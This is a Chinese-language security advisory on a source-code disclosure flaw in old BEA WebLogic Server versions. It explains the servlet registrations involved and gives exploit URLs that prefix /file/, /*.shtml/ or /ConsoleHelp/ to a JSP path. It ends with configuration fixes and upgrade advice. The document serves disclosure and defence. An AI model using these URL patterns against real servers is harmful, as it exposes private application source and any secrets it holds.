BEA WebLogic Enterprise 5.1.x
BEA WebLogic Server and Express 5.1.x
BEA WebLogic Server and Express 4.5.x
BEA WebLogic Server and Express 4.0.x
BEA WebLogic Server and Express 3.1.8
这个漏洞使攻击者能读取 Web 目录下所有文件的源代码。
WebLogic 依赖四个主要 Java Servlets to 服务不同类型的文件。这些 servlets 是:
1)FileServlet - for 简单 HTML 页面
2)SSIServlet - for Server Side Includes 页面
3)PageCompileServlet - for JHTML 页面
4)JSPServlet - for Java Server 页面
看着weblogic.properties 文件, 这儿是各个 servlets 的注册值:
1)weblogic.httpd.register.file=weblogic.servlet.FileServlet
2)weblogic.httpd.register.*.shtml=weblogic.servlet.ServerSideIncludeServlet
3)weblogic.httpd.register.*.jhtml=weblogic.servlet.jhtmlc.PageCompileServlet
4)weblogic.httpd.register.*.jsp=weblogic.servlet.JSPServlet
更多的 weblogic.properties 文件, 如果一个请求文件是没有注册管理的,那么就会调用一个默认的 servlet 。以下是展示默认的 servlet 是如何注册的。
# Default servlet registration
# ------------------------------------------------
# Virtual name of the default servlet if no matching servlet
# is found weblogic.httpd.defaultServlet=file
因此如果 URL 中的文件路径开头为 "/file/" , 将会引致 WebLogic 调用默认的 servlet, 那将会使网页未加分析和编译而直接显示。
论证:
只要在想看的文件原来的 URL 路径之前加入 "/file/" 就会让文件未经分析和编译,直接暴露源代码。如:http://site.running.weblogic/login.jsp ,那么只要访问 http://site.running.weblogic/file/login.jsp 就会在 WEB 浏览器里看到文件的内容。
以下是使用方法:
1. 通过强制使用 SSIServlet 查看未分析的页面 :
服务器站点通过 WebLogic 中的 SSIServlet 处理页面,它在weblogic.properties 文件中注册以下信息:weblogic.httpd.register.*.shtml= weblogic.servlet.ServerSideIncludeServlet
通过 URL 使用 SSIServlet 自动处理通配符 (*) 。因此 如果文件路径开头为 /*.shtml/,将强制文件由 SSIServlet 处理。如果使用其它文件类型如 .jsp 和 .jhtml, 就能查看未分析的 jsp 和 jhtml 代码。举例:http://www.xxx.com/*.shtml/login.jsp
2. 通过强制使用 FileServlet 查看未分析的页面 :
WebLogic 使用 FileServlet 配置 ConsoleHelp servlet ,在weblogic.properties 文件的以下内容可得知:
# For Console help. Do not modify.
weblogic.httpd.register.ConsoleHelp= weblogic.servlet.FileServlet
weblogic.httpd.initArgs.ConsoleHelp=\defaultFilename=/weblogic/admin/help/NoContent.html
weblogic.allow.execute.weblogic.servlet.ConsoleHelp=everyone
因此如果文件路径以 /ConsoleHelp/ 开头将导致 WebLogic 使用 FileServlet,使未分析或编译的文件作页面显示出来,举例:http://www.xxx.com/ConsoleHelp/login.jsp
解决方案:
不要使用示例中的设置方法设置 FileServlet 。这可能会让你的 JSP/JHTML 文件的源代码暴露出来。请查看在线文档:
http://www.weblogic.com/docs51/admindocs/http.html#file
示例的 registrations 如下:
weblogic.httpd.register.file=weblogic.servlet.FileServlet
weblogic.httpd.initArgs.file=defaultFilename=index.html
weblogic.httpd.defaultServlet=file
有两种方法可以避免这个问题:
(1)注册那些文件 servlet 使用随机用户名,加大猜测难度。例如使用象这样注册文件 servlet 为 12foo34:
weblogic.httpd.register.12foo34=weblogic.servlet.FileServlet
weblogic.httpd.initArgs.12foo34=defaultFilename=index.html
weblogic.httpd.defaultServlet=12foo34
(2)注册文件 servlet 使用 wild cards 声明你将使用所有这些文件扩展名作服务。举例注册文件 servlet 为 .html 文件服务:
weblogic.httpd.register.*.html=weblogic.servlet.FileServlet
weblogic.httpd.initArgs.*.html=defaultFilename=index.html
weblogic.httpd.defaultServlet=*.html
使用上面的方法重复加入以下类型的文件 *.gif, *.jpg, *.pdf, *.txt, etc.
注意:这些信息是备有证明在 BEA WebLogic Server and Express 说明档的:http://www.weblogic.com/docs51/admindocs/lockdown.html
另:请留意新版本并升级吧。